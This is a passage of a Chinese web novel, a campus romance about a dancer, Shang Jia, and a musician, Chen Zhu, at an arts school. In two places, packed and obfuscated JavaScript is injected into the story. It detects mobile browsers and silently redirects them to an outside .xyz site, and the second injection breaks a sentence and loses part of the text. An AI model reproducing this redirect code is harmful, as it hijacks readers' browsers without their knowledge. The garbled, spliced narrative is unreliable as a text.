还有几分钟下课的时候，于海雯让陈祝先走，并让一屋子姑娘好好谢谢今天帅气的钢琴老师。 这话又有点调侃的意味，陈祝抱着谱子起身，慌忙冲于海雯浅鞠了个躬，“应该的，那海雯老师我就先走了。” “好，”于海雯看着他笑，“希望还有机会合作。” “好的，海雯老师再见。”陈祝冲着于海雯挥了下手，视线也不敢在尚佳身上停留，说完快步出了教室。 等他关了门，于海雯回头见大家视线还在门上呢，甚至有人开始憋不住捂嘴窃窃私语，没忍住笑出声。 “帅吗？” 15个人整整齐齐，“帅！” “声音好听吗？” 又是整整齐齐，“好听！” 于海雯无奈，上前笑着指了指屋里的人，“好听也给我收敛收敛！” “别看了，腹肌50背肌50，做完再下课。” 于海雯嘱咐完收拾收拾东西走了，两分钟后，教室里炸了锅，都在讨论陈祝。 “陈祝真好看啊！” “是啊，又高又帅，组合伴奏都弹得那么好听！” “才子就是才子，真帅啊！” “有点后悔撕名牌那天没去找他了。” “同款后悔……” 腹背肌都需要有人帮忙压腿，但班里正好是单数，所以尚佳薛梦和赵璐向来是一组，因为她们三个离得近。 尚佳第一个做，薛梦坐在她脚上，赵璐帮忙数数。 “我跟你俩说，陈祝进教室的时候第一个碰到的就是我，”薛梦笑眯眯，“我俩还说话了呢。” “说什么了？”尚佳问。 “说——”薛梦盯着尚佳，故意道，“不告诉你！” 尚佳嗤笑一声，“不说拉倒。” 见尚佳不上套，薛梦拖着音调“啊”了一声，“小佳佳你不好奇吗？” “不好奇。” 薛梦不死心，又转头问赵璐，“赵璐你呢？” 赵璐抬头，轻声说：“我有点好奇。” 很想知道关于陈祝的一切。 这下薛梦开心了，嘿嘿一笑，开始叽里呱啦讲述。尚佳听着抿唇摇头，心想这些对话猜也能猜到，毕竟陈祝是个很有礼貌的人。 …… “48、49、50！”尚佳拍拍薛梦的后背，“薛梦同志，你解放了。” 薛梦做完背肌直接趴在了舞蹈教室的地上吆喝，“累啊饿啊！” 尚佳一边从她大腿上起来一边又拍了一下她的背，“饿就赶紧起来去食堂吃饭了。” “你今天吃晚饭？”薛梦猛地回身问。 “是啊尚佳，你今天要吃晚饭吗？”赵璐也问。 “嗯，”尚佳点头，垂眼看着薛梦，挑眉道，“走不走？” 薛梦一个鲤鱼打挺，“当然走啊！” “再不走食堂人又多了，”方旭靠在陈祝桌边笑着八卦，“说说呗，刚刚没上课去哪儿了？” “去帮李老师给舞蹈班伴奏了，”陈祝从钱包里拿出饭卡。 方旭问：“哪个舞蹈班啊？” 陈祝说：“11级。” 听到11级，方旭弯腰直视陈祝，睁大眼惊叹，“尚佳她们班？” 陈祝：“嗯。” “卧槽！”方旭激动得直接蹦了起来，“真的假的！” 他这一声音量实在太大，周围的人纷纷转头问方旭，怎么了？什么事这么惊讶。 “陈祝刚刚去给尚佳她们班伴奏了！”方旭又说了一遍，开口的话像扔出的雷，方圆几个桌的人全都围了过来。 “真的假的！” “可以啊陈祝！” “尚佳是不是巨漂亮？” “你是不是近距离看到尚佳跳舞了？” 陈祝看向提问的男生，点头道：“嗯。” “怎么样怎么样？是不是很惊艳！”方旭更加激动，“我说她是当代版‘一舞轰动京城’是不是不夸张！” 陈祝没看他，“嗯，是。” “她上课什么样？是不是美爆了！”刚刚的男生又问。 陈祝故作不在意，随口道：“没看，我弹琴了。” “啧！”方旭抬手捶了他一拳，“你都去人家教室了，这么好的机会居然不看！” 其他人也纷纷应和，“就是啊，浪费了这么好的机会，我们想去都去不了，” 陈祝点点头没再说话，起身拨开人群抬步往食堂走。 他不想在背后讨论尚佳，总觉得哪里怪怪的。 “你去哪儿啊？”方旭问。 “食堂，”陈祝看向他，“不是说再不走人就多了吗？” 见他不想多说，方旭也没再问，只是一路上还在各种可惜。 打完饭，陈祝5.0的视力瞬间聚焦在了远处的一张餐桌，随后瞳孔放大再放大，跟方旭嘟囔了句，“那边有空位。” 也不管方旭听没听见，抬步就走。 五米，三米，一米…… 经过尚佳身边的时候，陈祝觉得他们两个被罩在了另一个世界。 这个世界没有声音，时间也只有0.1倍速。 他端着餐盘一步步向前走，神态自若，到了空位也极其冷静地坐下，没有任何反常。只是拿着筷子的手有一下没一下地戳着米饭，眼神虚空。 她来食堂吃晚饭了，但——吃了很少。 方旭随后坐下，一边调整餐盘一边吐槽：“其实那边也有位置，还近呢，就是你走太快了，没来得及跟你说。” 陈祝眨了下眼，回神道：“不好意思，没看到。” “没事儿，这边更好！”方旭兴奋扯开话题，“因为刚刚咱俩经过尚佳身边了！这回你注意到了吧？” 聊到尚佳，陈祝下意识眨眼，心脏也突突地跳。 他抬手蹭下鼻尖又清了清嗓子，这才从喉咙深处发出一个音节。 “嗯。” “不过你下午不是去伴奏了吗？怎么没打声招呼啊？”方旭问。 陈祝抬眼，极其认真地说：“我只是去帮忙伴奏，也不算认识，不好打招呼的。” 方旭“哦”了一声，“也对。” 陈祝眼神挪动，盯着尚佳的背影看了几秒，随后埋头吃饭。 其实算认识的，而且上课的时候尚佳看到自己，还冲自己点了下头呢。 只是刚刚又没有注意到他，餐厅这种人来人往的地方，他也不好主动说什么。 这些想法方旭一概不知，他仍在摇头感慨尚佳的漂亮，“尚佳真好看啊！不愧是全校师生公认的女神。” 陈祝听了还是嗯，方旭见他实在没什么兴趣的样子，一副对牛弹琴的表情，“算了，反正你眼里没有女生，跟你说了也不懂。” 陈祝掀起半个眼皮悄悄瞪了方旭一眼，在内心偷偷反驳道：谁不懂？ - 晚自习前，梁佳怡、薛梦、王宛三个人拿着名牌去兑了奖品。 出发前梁佳怡把手里一垃圾袋的名牌冲大家晃了晃，特豪迈地说了句：“同志们，等着我们胜利的好消息！” 随后将士出征一样浩浩荡荡踏步而去。 十几分钟后，三人又浩浩荡荡地回来了，全身都是大获全胜的得意。 薛梦一进门就大喊：“朋友们，猜猜咱班拿了几个奖！” 尚佳抬头看向薛梦，“看你这藏不住事儿的表情就知道，你们三个全都有奖品，对不对？” 讲台上的三人闻言，默契冲尚佳竖了大拇哥儿。 “聪明！”王宛说，“我们三个全有名次，我第九，薛梦第十，而我们伟大的梁佳怡同学，第！三！” 话落，全班统一惊呼，说着“牛”“梁佳怡厉害”等夸奖的话语。 只是还不等大家高兴完，薛梦抬手打断大家，“先别激动先别激动，刘主任说了，鉴于梁佳怡同学把他按在地上撕，所以决定——” 薛梦这个暂停明显就是使坏搞人心态，但同吃同住四年，大家都太了解彼此了，所以她话落的瞬间，坐在门口的赵璐立马温柔补话道：“决定给予她第一名同等的奖励？” “诶！”薛梦瞪大双眼看向赵璐，“你怎么知道？” “刘主任可不是记仇的人。”赵璐说。 “没错！”薛梦激动地从垃圾袋里往外拿信封，挨个展示，“我们拿到三个奖励。这个是一张免罚卡，校长说了，只要是法律范围内，并且无重大过错，不管违反了哪条校规，都可以抵扣一次班级或个人的惩罚！” “这个是奶茶劵，学校请全班喝奶茶！不过——”说到这里，薛梦情绪突然down了下来，“这个等于没有了，海雯老师不会同意的。” 王宛上半身靠在讲台上，歪头看她宽慰道：“没事儿，这些奖励都不是重点，重点是佳怡的。”说完，她示意梁佳怡把她的奖励展示给大家。 梁佳怡会意后亮出自己手里的信封，神神秘秘地从里面一点点往外掏，最终“唰”地一下亮出里面的东西。 一沓红彤彤的毛爷爷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084532|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我拿到了两千块班费！” 十五个女生见钱眼开，完全忘了现在还是晚自习，“哄”的一声炸开。尚佳见状，连忙起身维持纪律，做了“嘘”的动作，“上晚自习呢，我们悄声庆祝就行了。” 大家都很听尚佳的话，她一起身，教室里的音量瞬间降了下来，只是兴奋和喜悦度仍旧不减，交头接耳分享喜悦。 三人把奖品交到尚佳手里后，就回了各自的位置上晚自习。 那是2015年的初夏，对于中国绝大部分的普通家庭来说，2000块钱可以满足一个月的基本生活需求，甚至可以购买质量较好的商品。 但对于家庭情况良好的艺术生来说，也并不是多么夸张的金额，很多学生一周的生活费都处在五六百块的条件。 可即便如此，大家仍旧开心。 不为金额，只为是自己同学努力得来的。 - 日子一晃又到了周五。 午饭时间，校园到处熙熙攘攘。 尚佳和薛梦逆着人流往于海雯办公室走，到了办公室，薛梦在门口等着，尚佳敲门进去，“海雯老师，你找我。” 于海雯没有说找尚佳有什么事，而且先问她道：“我听郑老师说，你中午又吃了很少？” 尚佳说：“没有很少，正常饭量。” “你低血糖，吃饱点！”于海雯不信她，“你现在这个体型已经非常好了，只要保持住就可以，不要为了桃李杯刻意减重！再这样下去，哪天上着上着课又突然晕了怎么办？吓都要吓死人。” 尚佳有些不好意思地干笑了一声，“我现在每天都喝葡萄糖粉，放心吧海雯老师，再也不会晕了！” “但愿！”于海雯又宠溺又无奈地白了她一眼，从办公桌旁的抽屉里拿出一个信封，“给，上次的演出费。” 听到“演出费”三个字，尚佳眼睛瞬间亮了，双手接过笑着道谢，“谢谢海雯老师！” 尚佳长了一张清纯甜美的初恋脸，脸颊两侧有一对很浅的竖条状酒窝。 五官精致小巧，轮廓柔和，眼睛尤其漂亮，瞳仁乌黑，眼白纯净，婴儿一样明亮天真，仿佛会说话，笑起来尤为好看，如沐春风。 气质偏向富贵家庭的邻家女孩，温柔亲和的同时，偶尔也会透露出清冷疏离感，很像春天初绽的白玉兰，清甜中带着几分不食人间烟火的仙气。 是一眼漂亮的姑娘，但越看会越喜欢。所以于海雯见她笑，自己的唇角也不自觉上扬，心情更舒展了。 “开心吗？”她问。 尚佳点头，“嗯。” “那还有件更开心的事！”于海雯从旁边拿了一张出门条儿递给她，又说：“下午上课前你先去趟新校区，你的比赛服装做出来了，待会拿回来试试，哪里不合适赶紧改。” 听到自己的服装做好了，尚佳笑得更开心，连忙点头接过，“好！” “嗯，去吧。” 尚佳挥挥手，“海雯老师再见。” 出了办公室，尚佳冲薛梦扬扬手里的信封，兴奋道：“快看！演出费！” “我去！”薛梦一把夺过来，做贼一样打开一条缝，眯着眼睛往里看。看清立马装了多少后闷声惊呼，“两百大洋呢尚佳！周末请客！” “没问题！”尚佳大方说完，又凑近薛梦耳边神神秘秘道，“还有一个好消息。” “什么？” “我比赛的演出服做好了，下午就去拿。” 薛梦激动地问：“桃李杯的啊？” 尚佳点头，“嗯。” “那下午岂不是可以少上一会儿古典课了……”薛梦贼眉鼠眼，把心里的小九九直接说了出来。尚佳抿着唇笑，光点头，没说话。 - 下午，尚佳做了套卷子才起身往新校区走。 她这么做是有原因的，毕竟服装老师也要吃饭午休，自己去早了不好。而且—— 其实吧，她也想偷懒，少上一会儿专业课…… 出了校园走了也就五十米，尚佳不自觉看向马路对面的一家酸奶店。 这家店她和薛梦经常光顾，店里卖的是手工老酸奶，味道很不错。而且老板娘还会熬制草莓、蓝莓和芒果三种果酱，原味五元一盒，加果酱的贵五毛。 她直勾勾盯着店铺招牌，步子也不自觉放慢。 怎么办，有点想吃，但没拿钱包…… 算了，忍忍，放学就能买了。 就在尚佳决定快几步赶紧走过去的时候，店铺的玻璃门被推开，里面走出来一个人。 那人推门往外出的瞬间，视线刚好跟尚佳对上。 陈祝。 8. 相处 . 海棠花洋洋洒洒，陈祝就站在树后，穿着蓝海艺校独有的连帽卫衣校服外套，里面是Polo款式的短袖校服。 他站在那里，清越端正，有着这个年纪独有的少年气，但线条轮廓并不单薄。 尚佳有些讶然，下意识顿住脚。陈祝看到她也怔了，抬手尝试性冲尚佳挥了下。 尚佳回应了。 陈祝见状心中立马升腾出欣喜，连忙朝她走过去。 老校区车不多，陈祝身高腿长，三两步就走到了尚佳面前，“又见面了，尚佳同学。” “又见面了，”尚佳礼貌回应完，又问，“你怎么在这儿？” 陈祝微低头，抿了下唇才说：“我小提琴忘宿舍了，回去拿。” 事实上，尚佳和薛梦从于海雯办公室出来的时候，陈祝碰巧在拐角处的楼梯自上而下。听到尚佳的声音后他下意识驻足，直到两个女生的声音消失才离开。 “你还会拉小提琴呢？”尚佳惊讶。 “嗯，”陈祝说，“会一点。” 尚佳发自内心感叹，“真厉害啊。之前学校活动看你打过架子鼓，昨天帮我们做了钢琴伴奏，现在又会小提琴，你还会什么乐器啊？” “贝斯、吉他也还可以，还有很多乐器也会，但也只是会一点。” 其实陈祝谦虚了，他口中的这个会一点，是指从来没有学过的乐器，他只要稍微一研究，就能来一点。 听他这样说，尚佳总算明白为什么他会有“音乐才子”这样的称号了。冲陈祝竖了个大拇哥儿，由衷夸赞，“真厉害。” 陈祝扬起唇笑了一下，然后举起手里的酸奶问尚佳，“要吃酸奶吗？我买了两个。” 尚佳盯着陈祝手里的两个袋子，顿了一秒，有些不好意思但又十分坦诚地说：“虽然第三次见面就拿你的东西实在有点不好意思，但我刚刚确实很想吃。” 她抬头看着陈祝，没有发现他又站在了花前。 樱花。 “有机会我一定请回去，”说完，尚佳随手拿了一个，“谢啦。” 尚佳在手里拎走酸奶的时候，陈祝感受到了风。 很温暖的风，尽管两人并没有触碰到。 “没关系。”他说。 两人打开酸奶，边吃边并排往新校区走。 陈祝买了一个原味，一个加芒果酱的。 他吃的原味的，却觉得比加了果酱的还要甜。 “对了，上次你怎么会在我们教室伴奏啊？”尚佳问。 陈祝偏头看了她一眼，才说：“李诺老师有事，我就去了。” 尚佳：“我说呢，感觉那天的琴声不一样。” 陈祝一愣，转头盯着尚佳的侧脸，“你觉得不一样？” “嗯，”尚佳看了他一眼，又说，“虽然是一首曲子，但能觉出不同。就像同一支舞，每个人跳出来的感觉不同一样。” 陈祝收回视线，扬着唇角：“你乐感很好。” “是吧？”尚佳笑，“入学考试的时候，老师也说我乐感好。”说到这里，尚佳往陈祝的方向稍一歪头，调皮道：“但我唱歌特难听。” “可是你声音很好听！”陈祝没忍住，音量提高了一些。 对于尚佳声音这一点，不是陈祝有特殊滤镜，确实好听。 音色清润甜美，少女感十足，很有辨识度。 尚佳笑着看陈祝，“你的声音也很好听。” 陈祝有些愣，连忙撤回视线，耳尖明显红了，声音也倏地变轻，“谢谢。” “所以你唱歌是不是也很好听？”尚佳问。 “嗯，”陈祝点头，“还不错。” 尚佳叹了口气，做出一副可惜的表情，“那为什么我声音好听，但唱歌不行呢？” “可以练的，”陈祝说，“嗓音先天条件无法训练，但其他的可以。而且你乐感很好，稍微学一些技巧，唱歌一定很好听！” 尚佳偏头看了一眼陈祝，不自觉陷入沉思。 撕名牌那次是她第一次接触陈祝，那时她就发现了，陈祝是一个长相、性格、声音各不相干的人。 他有着一副小说里酷拽高冷的精致皮囊，单看长相，会觉得他一定是个Bking学霸，谁都不爱搭理的类型。但实际上他谦逊礼貌，情绪稳定，性格跟长相差了十万八千里。 这样的他，声音又干净治愈，纯粹到仿佛暴雨后湛蓝的天空，只看一眼就能贯穿心脏洗涤心灵，每次听到都会让人心跳漏一拍。 而且他说话柔和到了极致，缓缓慢慢，十分有耐心，跟他聊天特别舒服。 因为专业不同，所以尚佳能接收到的关于陈祝的信息，或者她从别人口中了解到的陈祝，跟自己以为的一样，觉得他是一个充满距离感，无法轻易接触到的人。 可现在尚佳不这样想了。 陈祝或许不张扬，但也绝不高冷。 毕竟高冷的人，可干不出来偷袭别人名牌这种有点调皮的事。 不知道是不是错觉，尚佳总觉得今天的陈祝没有撕名牌那天放松，或许因为那天有游戏的加持，而今天这种单独跟女生相处的场合，他不习惯或者不擅长。 毕竟青春期就是这样的，男女生独处难免尴尬不适。 为了缓解陈祝的紧张，尚佳“啧”了一声，摇着头故意玩笑道：“不太行，我跳舞已经很厉害了，如果唱歌再好听了，那我有点太完美了。” 这样的尚佳实在可爱，陈祝愣了一秒，随后没忍住，指骨抵着鼻尖，垂眸低低笑出了声。 可是，你已经很完美了。 此时两人刚好拐弯，准备往大路走。 学校在两人身后，越来越远，阳光就在前方，渐渐靠近。 尚佳听到陈祝的笑声转头看他，有点想说你笑起来真好看，但实在觉得这话可能会让陈祝更不舒服，所以也跟着笑了笑。 两人走了一路，聊了一路，这样融洽轻松地相处，是两个人都没有想到的，尤其陈祝。 最开始他真的很紧张，冲尚佳扬起酸奶的时候，另外一只垂在身侧的手紧紧攥着，掌心全是汗。 他不是怕被拒绝，只是单纯在面对尚佳时会紧张。 而且他对接下来两人要并肩行走的二十分钟，既期待又害怕，并没有原因。 虽然很想在尚佳面前留下好印象，但陈祝没有刻意或者过分表现。除了努力克服悸动激动的情绪外，他就是他自己。 好在这段路比想象中还要舒适，一路上有一搭没一搭地说着话，很快就到了。 男生宿舍和尚佳要去的服装室在两个方向，进新校区大门后，两人挥手道别。 “我去服装室，先走了。”尚佳说。 “好，拜拜。” “拜拜。” 陈祝看着尚佳挺拔纤瘦的背影，扬扬唇角，心满意足地转身往宿舍楼去。 太阳公公高高挂在空中，看着虽然距离越走越远，但关系越来越近的两个人，老人家不自觉翘了嘴角。 它这一翘嘴，光芒立马四射。 服装老师边走边眯着眼抬头看，小声嘀咕了句，“嘿，阳光怎么突然这么充足了？还没到夏天呢。” “周老师！” 她刚嘀咕完，一个甜甜的声音从旁边传来。 周莹顿住脚转头看过去，笑着回了句，“尚佳啊，来拿你比赛服装的吧？” “嗯。”尚佳点头，见周莹停下来等自己，连忙跑了过来。 周莹摆摆手，“不着急，不用跑。”等到尚佳到自己身边，伸手从上衣口袋掏出钥匙，两人并肩往服装室门口走，“我跟你说，你这次的服装，学校可是花了大价钱的，特别漂亮！” “真的吗？”尚佳问。 “真的，”周莹弯腰，把钥匙插进锁孔，然后直起身偏头看着尚佳，扬眉道，“待会儿你见了就知道了。” 进屋后周莹打开灯。 服装室很大，学校里所有演出服全都在这里。管理员只有周莹一个人，服装修补、清洗、熨烫、整理等工作也都是她一个人来做。 两人穿过长长的走廊，虽然来过很多次，但每次来，尚佳都忍不住打量挂在两侧的各种演出服，脑海里也在不断匹配相应的舞蹈及演出地点。 一路走到最里面的办公室后，尚佳就停住了脚，没有跟进去，在门外安静等着。不一会儿，周莹从里面拎了一个椅背大小的白色纸袋。 “给。”周莹说。 尚佳接过来，“谢谢周老师。” 周莹笑着说：“没事，如果没问题，你留着就行，等到比赛完再还回来。有问题最好今天就送回来，我赶紧让人改。” 尚佳点头，“好，我知道了。” 周莹：“另外你们班比赛的服装也得做了，你抽空统计一下尺码，下周告诉我。” 尚佳：“好，那没其他事我就先走了周老师。” 周莹冲她挥挥手，“走吧，慢点。” 两人告别后，尚佳拎着袋子往回走。 走出学校大门时，突然想起一件事。 她转回身，越过大门，视线直直望向男生宿舍方向。 不知道陈祝有没有拿完小提琴。 学生都在上课，偌大的校园空无一人。尚佳没有停留很久，两秒左右时间就转回身，独自返回老校区。 她无数次一个人来拿服装、换服装，却都不曾在走出校园后回头。 可当习惯被某些东西介入后，难免会心生波澜。 尤其被介入的人、事、物并不讨厌。 - 回到教室的时候，于海雯正在检查控制组合。 见尚佳回来，她喊停了钢琴老师和大家，从尚佳手里接过袋子打开，拿出里面的服装展开，看清全貌后发出“嚯”的一声感叹，“这衣服，够好看的啊。” 尚佳的剧目是舞蹈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084533|179512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部主任冯伟编的。 他以鱼为灵感，以鱼跃龙门为立意，为尚佳首次出战桃李杯，创作了一支独属于她的舞蹈，取名为《鳍》。 舞蹈的寓意是人要拥有自由的精神和灵动的智慧，要拥有对未知世界的探索精神和勇气，所以用了“鳍”做名字。 因为跟鱼有关，所以大家没事的时候也都猜想过，尚佳的服装一定是橙红色调的，整体修身，有个大摆尾。 可随着于海雯一点点拿出服装，教室里的姑娘个个大跌眼镜。 因为实物跟她们的猜想八竿子打不着。 衣服是很轻薄的真丝材质，有两件，一件长裙，一件宽松外衣。 乍一看，整套服装是件绛紫色的渐变长裙，但细看，其实大面积的颜色，是天亮前天空微微翻开鱼肚皮的蓝，极浅淡的那种。越往下颜色逐渐加深渐变，最终在衣袖尾端及裙尾处汇成大面积流动的粉、蓝、紫三个色调。 衣服被展开的瞬间，仿佛天边流动的霞光与海色交融，然后倾泻而下。 吊带长裙后背肩胛骨处的飘片，还坠了水滴状的水晶，腰部也点缀了些许闪烁的水钻。裙摆全部都是一片片长短不同的鱼尾状飘片设计，轻盈灵动。 外衣宽松摇曳，除了蝉翼般盈动轻薄的片片裙摆外，最惊艳的是后背，大胆巧妙地模仿了鱼华美尾鳍的形态。 大椎骨处的布料与亮片层层叠加，流畅的弧线向上收束，又在末端豁然展开直至拖地，颜色逐渐加重到深海一般的蓝，优雅而富有张力的“鱼尾”便显现在眼前。 宽大的袖口与裙摆长度相同，两者均可360度铺开。每一条飘片的边缘都缀满细密的亮片，是一件放在那里都能夺目的服装。 屋子里的女孩儿看见后不由自主地纷纷上前，异口同声地惊叹。薛梦更是撩起衣服袖子咂舌感慨，“真漂亮真漂亮。” “好好看！”王宛吆喝着凑到于海雯面前，忍不住拿着尚佳的衣服左右看，“这也太美了吧，”她转头看向尚佳，“尚佳你的服装好漂亮啊！定制的就是不一样，妆造再一弄，站在那儿都能拿奖！” 于海雯拍开王宛的手，“少贫嘴！”冲尚佳扬扬下巴，“来吧小佳佳，换上试试。” 尚佳点头，“好。” 等她穿好回了教室，在里面期待了半天的人先是一阵惊呼，紧接着就簇拥了过去，各种夸奖激动，全部发自内心。 一屋子姑娘叽叽喳喳，于海雯起身打断大家，“别围着了，过来我看看。” 尚佳走到于海雯身边，于海雯起身垂眸看她，问：“有没有哪里觉得不合适？” “没有不合适，”尚佳侧身撩起鱼尾巴，“就是这拖地的大尾巴不好控制，容易踩到。” 舞蹈演员很怕碰到复杂的服装，尤其是脚下，太容易踩到绊倒或者出意外了。 于海雯拎着拖地的长裙，无奈道：“没办法，只能练习的时候多跟衣服磨合了。”她松开衣服后退几步，“来吧，活动活动跳一遍，试试。” 尚佳点头说：“好。” 简单活动以后，其他人自觉退到两侧把杆旁，安静欣赏尚佳的剧目。 - 这天之后，尚佳再也没有碰到过陈祝，两个人也再没有过交集。 过于忙碌的学业甚至都没有让尚佳再想起过他，直到半个月后，她和薛梦去了趟学校图书馆。 因为艺术生学业的特殊性，蓝海的图书馆没有老师，也没有开放时间。 每个班级都有一张图书馆的门禁卡，从进图书馆到登机借书到还书，学生自助服务，后勤老师定时检查。 敢这样处理，也是因为图书馆被学生光顾的次数实在少得可怜。可即便如此，学校也没有缩小图书馆的面积，更没有减少藏书量。 因为家庭原因，尚佳很喜欢看书，而且她看书不挑，从经典名著到通俗小说，她全喜欢。这个爱好也感染了薛梦，只不过几年下来，她这位陪客每次来也都假模假样拿一本，但回去看不了十页就开始积灰，等到下次陪尚佳来再还上。 两人拿着上次借阅的书走进图书馆，刷卡进入借阅室，打开灯后，薛梦把尚佳手里之前借的书接了过来，“你去找书，我帮你还。” “你不找吗？”尚佳问。 薛梦：“我一会儿随便拿本言情小说看就行。” 尚佳盯着她弯弯唇角，不再勉强，“谢啦。” 两人往不同的方向走，薛梦登记完把两本书归还到相应位置后，转身朝着自己喜欢的书架走去。炯炯有神的一双大眼睛快速扫视，最终停在一本名叫《南风过境》的书上。 “这名字看着不错，”薛梦从书架把书抽出来，左手托着书脊，右手随意翻了两页，“就它了。”嘀咕完，整本书也翻到了最后一页插放“借书卡”的位置。 这本书借阅的人并不多，薛梦目光扫过去，一个令她瞠目结舌的名字赫然出现在眼前。 陈祝。 9. 巡查 . 2015年网络已经十分发达，许多学校的图书馆都是用电脑登记。 蓝海艺术学校的校长是一个十分有情怀和情调的人，科技的发达给人们带来了福音，但也带来了许许多多的冰冷。 她接受新鲜的事物，但也想留住许多美好的东西。 比如图书的借阅形式。 “借书卡”是最早的图书借阅管理形式，卡片比明信片还要小一圈，最上方印有这本书的索书号、ISBN号、书名、页数以及价格，下方有一个3列20行左右的表格，顶行印有借者、借期、还期六个大字。 借书的人自觉填写好姓名和借阅日期，还书的时候写好归还日期，再把图书放回原本的位置。 插放借书卡的是一个略宽于它，但不足它一半高的信封。加上这本书借阅的人不错，所以薛梦一眼就看到了陈祝的名字。 他是这本书最近一次的借阅人。 “尚佳你在哪儿？”她大喊着找尚佳，“大新闻！” “在这儿！”尚佳从她身后第三排书架的位置探出半个身子，“怎么了？” 薛梦转身迅速跑到她身边，举起手里的书一脸激动，“你猜这本书的上一个借阅人是谁？” “谁？”尚佳问。 薛梦边摇头边说：“一个你想破脑袋都想不出来的人。” “谁啊？” “我们帅绝了的校草，音乐才子陈祝！” 尚佳闻言双眼略微睁大，但声音和情绪没有丝毫起伏，只是很平静地说了句，“那确实想不到。” 对于她这反应，薛梦震惊程度丝毫不亚于刚刚看到陈祝名字的时候，“你不意外吗？”她问：“校草诶，男生诶，他那样的一个高冷大帅比，自己就是小说里的男主，居然看言情小说。” “这有什么好意外的，”尚佳回到书架前，继续挑书，“谁规定男生就不能看言情小说了。” 薛梦一怔，觉得有道理，“也是。”说完又觉得不对，“可大多数男生都不看啊。” 尚佳：“大多数人不做的事情就是错的事情吗？” 尚佳随口一说，薛梦醍醐灌顶，拿着书冲尚佳抱了一拳，“大师，我悟了。” 说完低头重新打开书，把借书卡拿出来，“才子不愧是才子，看小说都比我们凡人效率高。7号借的，8号就还了。”她摇着头惋惜道：“可惜了，图书馆光临的女生太少。不然啊，这要是大家知道了只可远观的陈祝看过这本书，先不说借书卡的位置够不够用，这本书估计都回不到书架睡大觉了。” 尚佳挑选图书的动作顿住，偏头垂眸，目光定格在薛梦手里的借书卡上，盯着上面笔走龙蛇的那行字，突然就走了神。 只可远观吗？ 好像不是。 - 今天中午的午间音乐放的是TFBOYS的歌曲，许多人吃完饭不休息，在教室后面跳《青春修炼手册》的舞蹈。 11级舞蹈班的姑娘们往艺术楼走的时候，有几个人还调皮地边走边学，舞弄了几下。 因为要备战桃李杯，所以尚佳每周都有几节一对一的小课，授课老师是舞蹈部主任冯伟，那位给尚佳编参赛剧目的老师。 《鳍》以海底一只不起眼的小鱼为主角，讲述她为了传闻中华丽的鱼鳍，一次又一次跃龙门，终于通过不懈的尝试和努力，成功跨越龙门，飞升长出全新鱼鳍的故事。 整支舞蹈除了动作本身的难度以外，最难的就是服装驾驭。因为尚佳要在灯光一熄一亮间，穿上外衣，长出新的鱼鳍。 许多舞蹈在服装上也有两件的设计，但大多是随着剧情发展，高|潮时脱掉外衣。 穿上外衣的，并不常见。 因此这节的小课，冯伟让尚佳把衣服也带着。 “衣服拿来了吗？”冯伟进屋就问。 “带来了。”尚佳说。 冯伟：“我看看。” 尚佳从更衣室把衣服拿进教室递给冯伟，冯伟看到后一脸满意，“别说，贵的就是好。之前做服装的时候，十个要求最多满足六个。这个不错，十个能满足十一个。”说完他抬头问尚佳，“试了吗？合适吗？” “合适，”尚佳说，“就是拖尾有时候做动作会踩到。” “穿着多跳几遍就好了，”冯伟把衣服递还给尚佳，“放起来吧，今天先不穿。” 等尚佳放完衣服回来，他又说：“活动得差不多了吧？” “嗯，”尚佳回答，“活动好了。” “那今天开始我们就要扣动作了，”冯伟走到教室前方，转身看着尚佳说，“来吧，从头开始。” 之前的时间，尚佳一直在跟着冯伟学习这支舞蹈。 然而一支舞，学完只是开始，重要是扣动作。 把每个动作、每个细节，甚至每个呼吸都拆开，一遍遍地做，一遍遍地尝试，调整到最佳。 “这里不连贯，头上去的同时身体紧跟着就要挑上去，”冯伟边说边示范，“是哒哒！你现在是哒——哒，太慢了，再来一遍。” “还是慢！再来！” “慢！” …… “这里的呼吸不对，没沉到底，沉下去……” “腿太高了，低一点！” “这里要留住——”冯伟拖着音调，“再翻身，再来一遍……” “不对！再来！” “再来！” “重来！还是不对！” …… “行了，今天到这里吧，”课程结束，冯伟也收起厉色，走到尚佳身边，“今天扣得动作要记住，课下自己多练多琢磨。” 一个半小时的高度集中加运动，即便停住了，尚佳的呼吸仍有些沉重。她用手背随意揩了一把额头的汗，应道：“知道了冯老师。” “嗯，下课吧。” “冯老师再见。” 教室门刚打开，一颗脑袋霎时出现在冯伟面前，是薛梦。 “呀！”他“啧”了一声，蹙着眉佯装生气道，“干吗呢薛梦，吓我一跳！” 薛梦仰着脸冲冯伟嘿嘿一笑，“抱歉啊冯老师，我来找尚佳。” 冯伟轻拍了一下薛梦的头，“在里面呢，去吧。” 他说完错身走了，薛梦调皮说了再见才重新把脑袋探进教室。她已经换了自己的鞋，就没往里走，扒着门框跟尚佳说话，“小佳佳，走吧。” 刚刚她跟冯伟说话的时候，尚佳就已经往门口走了，这会儿刚好走到薛梦面前。 “我再留一会儿，把刚刚冯老师扣的动作复习复习。” 薛梦抬眉，问：“那你又不吃晚饭了啊？” “吃，”尚佳说，“你帮我带个素包子吧，一会儿我下去吃。” 